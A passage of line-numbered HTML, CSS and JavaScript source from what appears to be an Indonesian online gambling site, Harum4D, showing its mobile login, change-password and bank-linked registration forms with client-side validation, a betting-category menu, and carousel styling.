855 856 <!-- captcha --> 857 858 <div id="mverifikasiform" class="w-100" style=" "> 859 860 <span id="verifikasi"><img src="/m/capimg.php?8925" width="100%" height="36" style="border-radius: 5px;"></span> 861 <div class="input-group login-field mt-1"> 862 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-fill-check prepend-icon"></i></div></span> 863 <input type="text" class="form-control login-input-field" name="verifikasi" id="mverform" autocomplete="off" placeholder="Verifikasi"> 864 </div> 865 </div> 866 867 <input type="hidden" name="verif" id="verifval" class="verifval" value="1"> 868 869 <!-- end captcha --> 870 871 <label style="font-size:12px;display:flex;align-items:center;margin-top:2px;margin-bottom:4px;cursor:pointer;"> 872 <input type="checkbox" id="rememberMe" name="remember" style="margin-right:4px;width:12px;height:12px;cursor:pointer;"> Remember Me 873 </label> 874 875 <button type="submit" value="Masuk" class="btn btn-masuk fw-bold p-0 px-2 submit">Masuk</button> 876 <button type="button" class="btn btn-daftar bt
876n-info btn-daftar-mobile fw-bold p-0 px-2 mobile-only" onclick="openDaftar()">Daftar Sekarang</button> 877 878 <button type="button" class="btn btn-tele fw-bold p-0 px-2 mobile-only" onclick="window.open('https://telegram.me/harum4d_bot', '_blank')"><i class="bi bi-telegram me-2" style="color: #0088cc"></i>Main di Telegram</button> 879 880 881 <input type="hidden" name="task" value="login"> 882 <input type="hidden" name="iscaptchalogin" value="1"> 883 <input type="hidden" name="loginmobile" value="/Uep6Iaxp3MDMa6/EUNLPJ6jdxT31JsWCk7bdgDhatk="> 884 <input type="hidden" name="isrecaptchalogin" value="0"> 885 </form> 886 </div> 887 888 889 <!-- Change Password Mobile --> 890 <div id="mobile-changepassword-form" style="width: 100%; display: none"> 891 <div id="mobilechangepassword"> 892 <form id="formChangePasswordMobile" class="login-form p-0 pt-4"> 893 <div id="statusChangePasswordMobile" style="margin-bottom: 5px; width: 100%; font-size: 1rem;"></div> 894 <div class="prepend" style="width: 100%; height: 36px; display: flex; align-items: center; justify-content: space-between; padding: 0 10px; border-radius: 3px; font-size: 1.2rem; font-weight: bold"> 895 <span>GANTI PASSWORD</span> 896 <span style="font-size: 1rem; color: #333;" id="mobile-username-display"> 897 </span> 898 </div> 899 900 <div class="alert alert-warning" style="font-size: 1rem; margin: 10px 0;"> 901 â ï¸ Password Anda kurang aman! <br>Harap ganti dengan password yang lebih kuat. 902 </div> 903 904 <!-- <div class="input-group login-field"> 905 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 906 <input type="password" class="form-control login-input-field" name="old_password" id="cp_old_password_mobile" placeholder="Password Lama"> 907 </div> 908 <div class="error-msg" id="err_old_password_mobile"></div> --> 909 910 <div class="input-group login-field"> 911 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 912 <input type="password" class="form-control login-input-field" name="new_password" id="cp_new_password_mobile" placeholder="Password Baru (Min 6 karakter)"> 913 </div> 914 <div class="error-msg" id="err_new_password_mobile"></div> 915 916 <div class="input-group login-field"> 917 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 918 <input type="password" class="form-control login-input-field" name="confirm_password" id="cp_confirm_password_mobile" placeholder="Konfirmasi Password Baru"> 919 </div> 920 <div class="error-msg" id="err_confirm_password_mobile"></div> 921 922 <div style="background: #fff3cd; border-left: 4px solid #ffc107; border-radius: 4px; padding: 10px; margin: 10px 0; font-size: 1rem; width: 100%;"> 923 <strong style="color: #856404;">Persyaratan Password:</strong> 924 <ul style="margin: 5px 0 0 15px; padding: 0; color: #856404;"> 925 <li>Minimal 6 karakter</li> 926 <li>Mengandung minimal 1 huruf kecil (a-z),<br> 1 huruf besar (A-Z), angka (0-9)</li> 927 <!-- <li>Harus mengandung angka (0-9)</li> --> 928 <!-- <li>Tidak boleh mengandung username Anda</li> --> 929 <li>Tidak boleh mengandung pola berurutan <br> (123, abc, qwerty)</li> 930 <li>Hindari password yang mudah ditebak</li> 931 </ul> 932 </div> 933 934 <button type="submit" class="btn btn-masuk fw-bold p-0 px-2" value="Ganti" id="buttonChangePasswordMobile">Ganti Password</button> 935 <input type="hidden" name="task" value="change_password"> 936 </form> 937 </div> 938 939
939<script> 940 $(document).ready(function(){ 941 $('#cp_confirm_password_mobile, #cp_new_password_mobile').on('keyup', function() { 942 var newPass = $('#cp_new_password_mobile').val(); 943 var confirmPass = $('#cp_confirm_password_mobile').val(); 944 var currentField = $(this); 945 946 $('#cp_new_password_mobile').removeClass('error-border valid-border'); 947 $('#cp_confirm_password_mobile').removeClass('error-border valid-border'); 948 $('#err_new_password_mobile').hide(); 949 $('#err_confirm_password_mobile').hide(); 950 951 if (newPass.length > 0 && confirmPass.length > 0) { 952 if (newPass === confirmPass) { 953 $('#cp_new_password_mobile').addClass('valid-border'); 954 $('#cp_confirm_password_mobile').addClass('valid-border'); 955 } else { 956 $('#cp_new_password_mobile').addClass('error-border'); 957 $('#cp_confirm_password_mobile').addClass('error-border'); 958 if (currentField.attr('id') === 'cp_new_password_mobile') { 959 $('#err_new_password_mobile').text('Password tidak sama').show(); 960 } else { 961 $('#err_confirm_password_mobile').text('Password tidak sama').show(); 962 } 963 } 964 } 965 }); 966 }); 967 </script>
967 968 </div> 969 970 <!-- Register Mobile --> 971 <style> 972 .error-msg { color: red; font-size: 12px; margin-top: 3px; display: none; } 973 .error-border { border-color: red !important; } 974 .valid-border { border-color: green !important; } 975 </style> 976 <div id="mobile-daftar-form" style="width: 100%; display: none"> 977 <div id="mobileregister"> 978 <form id="formRegister" class="login-form p-0 pt-4"> 979 <div id="statusRegister" style="margin-bottom: 5px; width: 100%"></div> 980 <div class="prepend" style="width: 100%; height: 36px; display: grid; place-items: center; border-radius: 3px; font-size: 1.2rem; font-weight: bold">DAFTAR</div> 981 <div class="input-group login-field"> 982 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-circle prepend-icon"></i></div></span> 983 <input type="text" class="form-control login-input-field" name="username" id="reg_username" placeholder="Username 6-16 karakter standar (A~Z, a~z, 0~9) dan tanpa spasi"> 984 </div> 985 <div class="error-msg" id="err_username"></div> 986 <div class="input-group login-field"> 987 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 988 <input type="password" class="form-control login-input-field" id="reg_pass" name="pass" placeholder="Password (6 karakter atau lebih)"> 989 </div> 990 <div class="error-msg" id="err_password"></div> 991 <div class="input-group login-field"> 992 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 993 <input type="password" class="form-control login-input-field" id="reg_passcon" name="passcon" placeholder="Password sekali lagi"> 994 </div> 995 <div class="error-msg" id="err_passcon"></div> 996 <div class="input-group login-field"> 997 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-envelope-fill prepend-icon"></i></div></span> 998 <input type="text" class="form-control login-input-field" id="reg_email" name="email" placeholder="Email"> 999 </div> 1000 <div class="error-msg" id="err_email"></div> 1001 <div class="input-group login-field"> 1002 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-telephone-fill prepend-icon"></i></div></span> 1003 <input type="text" class="form-control login-input-field" id="reg_telpon" name="telpon" class="form-control" placeholder="Telpon"> 1004 </div> 1005 <div class="error-msg" id="err_telpon"></div> 1006 1007 <div class="input-group login-field"> 1008 <select class="form-select login-input-field" name="bank" id="reg_bank"> 1009 <option value="">Pilih Bank</option> 1010 <option value='BCA'>BCA</option><option value='Mandiri'>Mandiri</option><option value='BNI'>BNI</option><option value='BRI'>BRI</option><option value='CIMB'>CIMB</option><option value='Danamon'>Danamon</option><option value='Permata'>Permata</option><option value='BJB'>BJB</option><option value='PANIN'>PANIN</option><option value='OCBC'>OCBC</option><option value='DKI'>DKI</option><option value='SUMUT'>SUMUT</option><option value='BSI'>BSI</option><option value='NEO'>NEO</option><option value='JAGO'>JAGO</option><option value='SeaBank'>SeaBank</option><option value='NOBU'>NOBU</option><option value='Maybank'>Maybank</option><option value='Mestika'>Mestika</option><option value='Sinarmas'>Sinarmas</option><option value='Mega'>Mega</option><option value='Jenius'>Jenius</option><option value='DANA'>DANA</option><option value='OVO'>OVO</option><option value='ShopeePay'>ShopeePay</option><option value='GOPAY'>
1010GOPAY</option><option value='LinkAja'>LinkAja</option><option value='Superbank'>Superbank</option><option value='SAQU'>SAQU</option><option value='Lain-lain'>Lain-lain</option> </select> 1011 </div> 1012 <div class="error-msg" id="err_bank"></div> 1013 1014 <div class="input-group login-field"> 1015 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-piggy-bank-fill prepend-icon"></i></div></span> 1016 <input type="text" class="form-control login-input-field" name="rek" id="reg_rek" placeholder="No Rekening"> 1017 </div> 1018 <div class="error-msg" id="err_rek"></div> 1019 <div class="input-group login-field"> 1020 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-fill prepend-icon"></i></div></span> 1021 <input type="text" class="form-control login-input-field" name="nama" id="reg_nama" placeholder="Nama Rekening"> 1022 </div> 1023 <div class="error-msg" id="err_nama"></div> 1024 <div class="input-group login-field"> 1025 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-file-earmark-person-fill prepend-icon"></i></div></span> 1026 <input type="text" class="form-control login-input-field" name="ref" type="text" id="reg_ref" placeholder="Username Referal bila ada" > 1027 </div> 1028 <div class="error-msg" id="err_ref"></div> 1029 <!-- <input type="text" class="form-control" placeholder="Nama Akun" aria-label="Nama Akun"> 1030 <input type="password" class="form-control" placeholder="Kata Sandi" aria-label="Kata Sandi"> --> 1031 1032 1033 <div class="w-100 my-1"> 1034 <div id="capverifikasi"> 1035 <img src="m/capreg.php" width="100%" style="border-radius: 5px;margin-top: -3px; height: 44px"> 1036 </div> 1037 1038 <div class="input-group login-field mt-1"> 1039 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-person-fill-check prepend-icon"></i></div></span> 1040 <input type="text" class="form-control login-input-field" name="regverifikasi" id="reg_verifikasi" placeholder="Verifikasi" style="padding: 10px;" autocomplete="off"> 1041 </div> 1042 <div class="error-msg" id="err_verifikasi"></div> 1043 1044 </div> 1045 1046 1047 <button type="button" class="btn btn-masuk fw-bold p-0 px-2" value="Register" id="buttonRegister">Daftar</button> 1048 <input type="hidden" name="task" value="register"> 1049 <input type="hidden" name="regmobile" value="10x0aMpHCXPbcfcGRgZcXlWpWddqbNwHtkptDEiih8k="> 1050 <input type="hidden" name="iscaptcharegister" value="1"> 1051 <input type="hidden" name="isrecaptcha" value="
10510"> 1052 <input type="hidden" name="isrecaptcharegister" value="0"> 1053 <button type="button" class="btn btn-secondary fw-bold p-0 px-2" value="Close" onClick="closeDaftar()" id="buttonClose">Close</button> 1054 </form> 1055 </div> 1056
1056<script> 1057 const WEBNAME = 'Harum4D'; 1058 const USE_STRONG_VALIDATION = false; 1059 (function(){ 1060 function root(){ return document.getElementById('mobileregister'); } 1061 function q(id){ return root()?.querySelector('#'+id) || null; } 1062 function qe(sel){ return root()?.querySelector(sel) || null; } 1063 1064 function showError(field,msg){ 1065 const err = qe('#err_'+field); 1066 const inp = q('reg_'+field); 1067 if (err){ err.textContent = msg; err.style.display = 'block'; } 1068 if (inp){ inp.classList.remove('valid-border'); inp.classList.add('error-border'); } 1069 } 1070 function clearError(field){ 1071 const err = qe('#err_'+field); 1072 const inp = q('reg_'+field); 1073 if (err) err.style.display = 'none'; 1074 if (inp){ inp.classList.remove('error-border'); inp.classList.add('valid-border'); } 1075 } 1076 1077 function checkPasswordStrengthJS(username, password) { 1078 const min_length = 6; 1079 const length = password.length; 1080 if (length < min_length) { 1081 return "Password harus minimal " + min_length + " karakter"; 1082 } 1083 const hasLower = /[a-z]/.test(password); 1084 const hasUpper = /[A-Z]/.test(password); 1085 if (!(hasLower && hasUpper)) { 1086 return "Password harus mengandung minimal 1 huruf kecil, 1 huruf besar, dan angka."; 1087 } 1088 if (!/[0-9]/.test(password)) { 1089 return "Password harus mengandung angka"; 1090 } 1091 if (username && password.toLowerCase().includes(username.toLowerCase())) { 1092 return "Password tidak boleh mengandung username"; 1093 } 1094 const numSeq = /(012|123|234|345|456|567|678|789|890|210|321|432|543|654|765|876|987|098)/; 1095 if (numSeq.test(password)) { 1096 return "Password tidak boleh mengandung angka berurutan"; 1097 } 1098 const letterSeqStr = "(abc|bcd|cde|def|efg|fgh|ghi|hij|ijk|jkl|klm|lmn|mno|nop|opq|pqr|qrs|rst|stu|tuv|uvw|vwx|wxy|xyz|" 1099 + "cba|dcb|edc|fed|gfe|hgf|ihg|jih|kji|lkj|mlk|nml|onm|pon|qpo|rqp|srq|tsr|uts|vut|wvu|xwv|yxw|zyx|" 1100 + "qwert|werty|asdf|zxcv|uiop|hjkl)"; 1101 const letterSequences = new RegExp(letterSeqStr, "i"); 1102 if (letterSequences.test(password)) { 1103 return "Password tidak boleh mengandung huruf berurutan"; 1104 } 1105 return null; 1106 } 1107 1108 function vUsername(){ 1109 const v = (q('reg_username')?.value || '').trim(); 1110 if (!v) return showError('username','Username tidak boleh kosong'), false; 1111 if (v.length < 6) return showError('username','Username minimal 6 karakter'), false; 1112 if (v.length > 16) return showError('username','Username maksimal 16 karakter'), false; 1113 if (!/^[A-Za-z0-9]+$/.test(v)) return showError('username','Hanya huruf/angka'), false; 1114 clearError('username'); return true; 1115 } 1116 function vPass(){ 1117 const v = q('reg_pass')?.value || ''; 1118 if(!v) { 1119 showError('password','Password tidak boleh kosong'); 1120 return false;
1121 } 1122 if (USE_STRONG_VALIDATION) { 1123 const username = (q('reg_username')?.value || '').trim(); 1124 const err = checkPasswordStrengthJS(username, v); 1125 if (err) { 1126 showError('password', err); 1127 return false; 1128 } 1129 clearError('password'); 1130 if (q('reg_passcon')?.value) { 1131 vPasscon(); 1132 } 1133 return true; 1134 } 1135 1136 if (v.length < 6) { 1137 showError('password','Password minimal 6 karakter'); 1138 return false; 1139 } 1140 1141 clearError('password'); 1142 return true; 1143 } 1144 function vPasscon() { 1145 const p1 = q('reg_pass')?.value || ''; 1146 const p2 = q('reg_passcon')?.value || ''; 1147 if (!p2) { 1148 showError('passcon', 'Konfirmasi password kosong'); 1149 return false; 1150 } 1151 if (USE_STRONG_VALIDATION) { 1152 const username = (q('reg_username')?.value || '').trim(); 1153 const err = checkPasswordStrengthJS(username, p1); 1154 if (err) { 1155 showError('passcon', err); 1156 return false; 1157 } 1158 } 1159 1160 if (p1 !== p2) { 1161 showError('passcon', 'Konfirmasi tidak sama'); 1162 return false; 1163 } 1164 1165 clearError('passcon'); 1166 return true; 1167 } 1168 // function vPass(){ 1169 // const v = q('reg_pass')?.value || ''; 1170 // if (!v) return showError('password','Password tidak boleh kosong'), false; 1171 // if (v.length < 6) return showError('password','Password minimal 6 karakter'), false; 1172 // clearError('password'); return true; 1173 // } 1174 // function vPasscon(){ 1175 // const p1 = q('reg_pass')?.value || ''; 1176 // const p2 = q('reg_passcon')?.value || ''; 1177 // if (!p2) return showError('passcon','Konfirmasi password kosong'), false; 1178 // if (p1 !== p2) return showError('passcon','Konfirmasi tidak sama'), false; 1179 // clearError('passcon'); return true; 1180 // } 1181 function vEmail(){ 1182 const v = (q('reg_email')?.value || '').trim(); 1183 if (!v) return showError('email','Email tidak boleh kosong'), false; 1184 if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v)) return showError('email','Format email salah'), false; 1185 clearError('email'); return true; 1186 } 1187 function vTelp(){ 1188 const el = q('reg_telpon'); if (!el) return true; 1189 el.value = (el.value || '').replace(/\D/g,''); 1190 if (!el.value) return showError('telpon','Telpon kosong'), false; 1191 if (el.value.length < 10) return showError('telpon','Telpon minimal 10 digit'), false; 1192 clearError('telpon'); return true; 1193 } 1194 function vBank(){ 1195 if (!q('reg_bank')?.value) return showError('bank','Pilih bank'), false; 1196 clearError('bank'); return true; 1197 } 1198 function vRek(){ 1199 const el = q('reg_rek'); if (!el) return true; 1200 el.value = (el.value || '').replace(/\D/g,''); 1201 if (!el.value) return showError('rek','Rekening kosong'), false; 1202 if (el.value.length < 8) return showError('rek','Minimal 8 digit'), false; 1203 clearError('rek'); return true; 1204 } 1205 function vNama(){ 1206 const v = (q('reg_nama')?.value || '').trim(); 1207 if (!v) return showError('nama','Nama kosong'), false; 1208 if (v.length < 3) return showError('nama','Nama minimal 3 karakter'), false; 1209 if(!/^[a-zA-Z\s]+$/.test(v)) return showError('nama','Nama hanya boleh huruf'), false; 1210 clearError('nama'); return true; 1211 } 1212 function vRefOpt(){ 1213 const el = q('reg_ref'); if (!el) return true; 1214 const v = (el.value || '').trim(); 1215 if (!v) return clearError('ref'), true; 1216 if (v.length > 16) return showError('ref','Maksimal 16 karakter'), false; 1217 if (!/^[A-Za-z0-9]+$/.test(v)) return showError('ref','Hanya huruf/angka'), false; 1218 clearError('ref'); return true; 1219 } 1220 function vVerifOpt(){ 1221 const el = q('reg_verifikasi'); if (!el) return true; 1222 const v = (el.value || '').trim(); 1223 if (!v) return showError('verifikasi','Kode verifikasi harus diisi'), false; 1224 clearError('verifikasi'); return true; 1225 } 1226 1227 function validateAll(){ 1228 const ok = 1229 vUsername() & vPass() & vPasscon() & vEmail() & 1230 vTelp() & vBank() & vRek() & vNama() & 1231 vRefOpt() & vVerifOpt(); 1232 return !!ok; 1233 } 1234 1235 function attach(id, validator, opts){ 1236 const el = q(id); if (!el) return; 1237 const run = () => validator(); 1238 el.addEventListener('focus', run); 1239 if (!opts || opts.input !== false) el.addEventListener('input', run); 1240 el.addEventListener('blur', run); 1241 if (opts && opts.change) el.addEventListener('change', run); 1242 } 1243 1244 document.addEventListener('DOMContentLoaded', function(){ 1245 attach('reg_username', vUsername); 1246 attach('reg_pass', vPass); 1247 attach('reg_passcon', vPasscon); 1248 attach('reg_email', vEmail); 1249 attach('reg_telpon', vTelp); 1250 attach('reg_bank', vBank, { input
1250:false, change:true }); 1251 attach('reg_rek', vRek); 1252 attach('reg_nama', vNama); 1253 attach('reg_ref', vRefOpt); 1254 attach('reg_verifikasi', vVerifOpt); 1255 1256 const f = q('formRegister'); 1257 if (f) { 1258 f.addEventListener('submit', function(e){ 1259 if (!validateAll()) { 1260 e.preventDefault(); 1261 const firstErr = root()?.querySelector('.error-border') || q('reg_username'); 1262 if (firstErr && firstErr.focus) firstErr.focus(); 1263 } 1264 }); 1265 } 1266 }); 1267 })(); 1268 </script>
1268 1269 </div> 1270 </div> 1271 1272 <div class="menu"> 1273 <style> 1274 .menu-item { 1275 display: flex; 1276 flex-direction: column; 1277 align-items: center; 1278 justify-content: center; 1279 gap: 12px; 1280 min-width: 72px; 1281 padding: 8px; 1282 height: 100%; 1283 } 1284 1285 .menu-item:hover { 1286 background: linear-gradient(180deg,var(--secondary-background) 0%, rgba(255, 255, 255, 0) 100%); 1287 } 1288 1289 .menu-item.active { 1290 background: linear-gradient(180deg,var(--secondary-background) 0%, rgba(255, 255, 255, 0) 100%); 1291 } 1292 1293 .menu-item-img { 1294 height: 28px; 1295 } 1296 1297 .menu-item-icon { 1298 font-size: 28px; 1299 color: var(--menu-item-color) 1300 } 1301 1302 .menu-item:hover>.menu-item-icon { 1303 color: var(--primary-color); 1304 } 1305</style> 1306 1307 1308<a href="/" class="menu-item active"> 1309 <!--<img class="mobile-only" src="assets/slot.png" alt="">--> 1310 <i class="menu-item-icon icon-home" style="font-size: 28px"></i> 1311 <label>HOME</label> 1312</a> 1313 1314 <a href="/register" class="menu-item" onmouseover="showProducts('hover-togel')" onmouseout="hideProducts('hover-togel')"> 1315 <!--<img class="mobile-only" src="assets/togel.png" alt="">--> 1316 <!--<img src="https://img.viva88athenae.com//icons/lottery.png?1790436651" alt="TOGEL" class="menu-item-img">--> 1317 <i class="menu-item-icon icon-lottery" style="font-size: 28px"></i> 1318 <label>TOGEL</label> 1319 </a> 1320 1321 1322 1323<a href="/slot" class="menu-item" onmouseover="showProducts('hover-slot')" onmouseout="hideProducts('hover-slot')"> 1324 <!--<img class="mobile-only" src="assets/slot.png" alt="">--> 1325 <i class="menu-item-icon icon-slots"></i> 1326 <label>SLOT</label> 1327</a> 1328<a href="/casino" class="menu-item" onmouseover="showProducts('hover-live')" onmouseout="hideProducts('hover-live')"> 1329 <!--<img class="mobile-only" src="assets/live.png" alt="">--> 1330 <i class="menu-item-icon icon-casino"></i> 1331 <label>LIVE CASINO</label> 1332</a> 1333<a href="/sport" class="menu-item" onmouseover="showProducts('hover-sport')" onmouseout="hideProducts('hover-sport')"> 1334 <!--<img class="mobile-only" src="assets/sport.png" alt="">--> 1335 <i class="menu-item-icon icon-sports"></i> 1336 <label>SPORT</label> 1337</a> 1338<a href="/sabung" class="menu-item" onmouseover="showProducts('hover-sabung')" onmouseout="hideProducts('hover-sabung')"> 1339<!-- <img class="mobile-only" src="assets/sabung.png" alt="">--> 1340 <i class="menu-item-icon icon-sabung"></i> 1341 <label>SABUNG</label> 1342</a> 1343<a href="/arcade" class="menu-item" onmouseover="showProducts('hover-fishing')" onmouseout="hideProducts('hover-fishing')"> 1344 <!--<img class="mobile-only" src="assets/fishing.png" alt="">--> 1345 <i class="menu-item-icon icon-arcade"></i> 1346 <label>ARCADE</label> 1347</a> 1348<a href="/interactive" class="menu-item" onmouseover="showProducts('hover-interactive')" onmouseout="hideProducts('hover-interactive')"> 1349 <i class="menu-item-icon icon-interactive"></i> 1350 <label>INTERACTIVE</label> 1351</a> 1352 </div> 1353 1354 1355 1356 <div class="menu-mobile mobile-only" style="width: 100%; overflow-x: hidden; position: relative; border-top: 3px solid var(--primary-color); border-bottom: 3px solid var(--theme-color)"> 1357 1358 1359 <div style="position: absolute; height: 100%; background: var(--primary-color); display: grid; place-items: center; left: 0; padding: 0px 6px" onclick="document.getElementById('menu-mobile').scrollBy(-40, 0)"> 1360 <i class="bi bi-caret-left-fill" style="font-size: 16px; color: var(--marquee-color)"></i> 1361 </div> 1362 1363 <div style="position: absolute; height: 100%; background: var(--primary-color); display: grid; place-items: center; right: 0; padding: 0px 6px;" onclick="document.getElementById('menu-mobile').scrollBy(40, 0)"> 1364 <i class="bi bi-caret-right-fill" style="font-size: 16px; color: var(--marquee-color)"></i> 1365 </div> 1366 1367 1368 <div id="menu-mobile" style="height:60px; overflow-x: scroll; overflow-y: hidden; max-width: 100%; display: block; margin-left: 28px; margin-right: 28px; background: linear-gradient(90deg, rgba(26,26,26,0.3) 0%, rgba(0,0,0,0.3) 10%, rgba(0,0,0,0.3) 100%), var(--primary-color)"> 1369 1370 1371 <div style="white-space: nowrap; height: 100%; font-size: 0px"> 1372 1373 <a href="#togel-mobile" style="height: 100%; width: 74px; display: inline-block;"> 1374 <div style="display: grid; place-items: center; height: 100%"> 1375 <div class="menu-item" style="gap: 8px"> 1376 <img class="mobile-only" src="https://img.viva88athenae.com//icons/lottery.png" alt=""> 1377 <label class="text-white">TOGEL</label> 1378 </div> 1379 </div> 1380 </a> 1381 1382 <div style="height: 100%; width: 74px; display: inline-block;"> 1383 <div style="display: grid; place-items: center; height: 100%"> 1384 <div class="menu-item" style="gap: 8px" onclick="showProvider('slot')"> 1385 <img class="mobile-only" src="https://img.viva88athenae.com//icons/slots.png" alt=""> 1386 <label class="text-white">SLOT</label> 1387 </div> 1388 </div> 1389 </div> 1390 <div style="height: 100%; width: 74px; display: inline-block;"> 1391 <div style="display: grid; place-items: center; height: 100%"> 1392 <div class="menu-item" style="gap: 8px" onclick="showProvider('casino')"> 1393 <img class="mobile-only" src="https://img.viva88athenae.com//icons/casino.png" alt=""> 1394 <label class="text-white">LIVE CASINO</label> 1395 </div> 1396 </div> 1397 </div> 1398 <div style="height: 100%; width: 74px; display: inline-block;"> 1399 <div style="display: grid; place-items: center; height: 100%"> 1400 <div class="menu-item" style="gap: 8px" onclick="showProvider('sport')"> 1401 <img class="mobile-only" src="https://img.viva88athenae.com//icons/sp
1401orts.png" alt=""> 1402 <label class="text-white">SPORT</label> 1403 </div> 1404 </div> 1405 </div> 1406 <div style="height: 100%; width: 74px; display: inline-block;"> 1407 <div style="display: grid; place-items: center; height: 100%"> 1408 <div class="menu-item" style="gap: 8px" onclick="showProvider('fish')"> 1409 <img class="mobile-only" src="https://img.viva88athenae.com//icons/arcade.png" alt=""> 1410 <label class="text-white">ARCADE</label> 1411 </div> 1412 </div> 1413 </div> 1414 <div style="height: 100%; width: 74px; display: inline-block;"> 1415 <div style="display: grid; place-items: center; height: 100%"> 1416 <div class="menu-item" style="gap: 8px" onclick="showProvider('sabung')"> 1417 <img class="mobile-only" src="https://img.viva88athenae.com//icons/sabung.png" alt=""> 1418 <label class="text-white">SABUNG</label> 1419 </div> 1420 </div> 1421 </div> 1422 1423 <div style="height: 100%; width: 74px; display: inline-block;"> 1424 <div style="display: grid; place-items: center; height: 100%"> 1425 <div class="menu-item" style="gap: 8px" onclick="showProvider('interactive')"> 1426 <img class="mobile-only" src="https://img.viva88athenae.com//icons/interactive.png" alt=""> 1427 <label class="text-white">INTERACTIVE</label> 1428 </div> 1429 </div> 1430 </div> 1431 </div> 1432 </div> 1433</div> 1434 1435 <div class="menu-content mobile-only"> 1436 <div id="main-content" style="background: var(--content-box-background)"> 1437 </div> 1438 </div> 1439 1440 1441 <!-- Banner SBO --> 1442 1443 <style> 1444 .match-slider-wrap { 1445 max-width: 1200px; 1446 margin: 16px auto; 1447 margin-bottom: 24px; 1448 padding: 0 12px; 1449 } 1450 1451 .match-card { 1452 position: relative; 1453 overflow: hidden; 1454 min-height: 180px; 1455 border-radius: 16px; 1456 background: 1457 linear-gradient(135deg, rgba(255,255,255,.06), rgba(255,255,255,.01)), 1458 linear-gradient(180deg, #232323 0%, #161616 100%); 1459 color: #fff; 1460 box-shadow: 0 10px 24px rgba(0,0,0,.35); 1461 padding: 14px 14px 16px; 1462 } 1463 1464 .match-card::before { 1465 content: ""; 1466 position: absolute; 1467 inset: 0; 1468 background: repeating-linear-gradient( 1469 -35deg, 1470 rgba(255,255,255,.04), 1471 rgba(255,255,255,.04) 8px, 1472 transparent 8px, 1473 transparent 18px 1474 ); 1475 pointer-events: none; 1476 opacity: .35; 1477 } 1478 1479 .match-card > * { 1480 position: relative; 1481 z-index: 1; 1482 } 1483 1484 .league-name { 1485 font-size: 14px; 1486 font-weight: 700; 1487 letter-spacing: .4px; 1488 text-transform: uppercase; 1489 text-align: center; 1490 margin-bottom: 2px; 1491 color: #ffffff; 1492 } 1493 1494 .kickoff-time { 1495 font-size: 14px; 1496 font-weight: 800; 1497 text-align: center; 1498 color: #ffd23c; 1499 margin-bottom: 12px; 1500 } 1501 1502 .match-main-row, 1503 .match-odds-row { 1504 display: flex; 1505 align-items: flex-start; 1506 justify-content: space-between; 1507 gap: 0; 1508 } 1509 1510 .match-odds-row { 1511 align-items: center; 1512 margin-top: 12px; 1513 } 1514 1515 .team-col { 1516 width: 30%; 1517 text-align: center; 1518 display: flex; 1519 flex-direction: column; 1520 align-items: center; 1521 } 1522 1523 .score-col { 1524 width: 40%; 1525 text-align: center; 1526 display: flex; 1527 flex-direction: column; 1528 align-items: center; 1529 justify-content: center; 1530 } 1531 1532 .team-logo { 1533 width: 46px; 1534 height: 46px; 1535 object-fit: contain; 1536 margin-bottom: 6px; 1537 } 1538 1539 .team-name { 1540 font-size: 14px; 1541 line-height: 1.15; 1542 min-height: 34px; 1543 display: flex; 1544 align-items: center; 1545 justify-content: center; 1546 text-align: center; 1547 } 1548 1549 .score-value { 1550 font-size: 28px; 1551 font-weight: 800; 1552 line-height: 1; 1553 margin-bottom: 10px; 1554 } 1555 1556 .bet-btn { 1557 display: inline-block; 1558 min-width: 95px; 1559 border-radius: 8px; 1560 background: linear-gradient(180deg, #ffcf21 0%, #f0ab00 100%); 1561 color: #1d1d1d; 1562 font-size: 14px; 1563 font-weight: 800; 1564 text-decoration: none; 1565 padding: 10px 16px; 1566 box-shadow: inset 0 1px 0 rgba(255,255,255,.45); 1567 } 1568 1569 .bet-btn:hover { 1570 color: #1d1d1d; 1571 filter: brightness(1.03); 1572 } 1573 1574 .odds-col { 1575 width: 30%; 1576 text-align: center; 1577 font-size: 12px; 1578 font-weight: 700; 1579 color: #ffd23c; 1580 display: flex; 1581 align-items: center; 1582 justify-content: center; 1583 min-height: 18px; 1584 } 1585 1586 .odds-col small { 1587 font-size: 12px; 1588 font-weight: 600; 1589 color: #ffffff; 1590 opacity: .95; 1591 } 1592 1593 .odds-spacer { 1594 width: 40%; 1595 } 1596 1597 .carousel-control-prev, 1598 .carousel-control-next { 1599 width: 48px; 1600 } 1601 1602 .carousel-control-prev-icon, 1603 .carousel-control-next-icon { 1604 width: 2.5rem; 1605 height: 2.5rem; 1606 border-radius: 50%; 1607 background-color: rgba(255,255,255,.15); 1608 background-size: 55% 55%; 1609 } 1610 1611 .carousel-indicators [data-bs-target] { 1612 width: 8px; 1613 height: 8px; 1614 border-radius: 50%; 1615 } 1616 1617 @media (max-width: 991.98px) { 1618 .match-card { 1619 min-height: 170px; 1620 } 1621 } 1622 1623 @media (max-width: 767.98px) { 1624 .match-slider-wrap { 1625 max-width: 100%; 1626 padding: 0 20px; 1627 margin: 20px 0; 1628 } 1629 1630 .match-slider-wrap .carousel-inner { 1631 padding: 0; 1632 } 1633 1634 .match-slider-wrap .carousel-item .row { 1635 margin: 0; 1636 } 1637 1638 .match-slider-wrap .carousel-item .col-12 { 1639 padding: 0; 1640 } 1641 1642 .match-card { 1643 width: 100%; 1644 border-radius: 16px; 1645 } 1646 1647 .league-name { 1648 font-size: 13px; 1649 margin-bottom: 2px; 1650 } 1651 1652 .kickoff-time { 1653 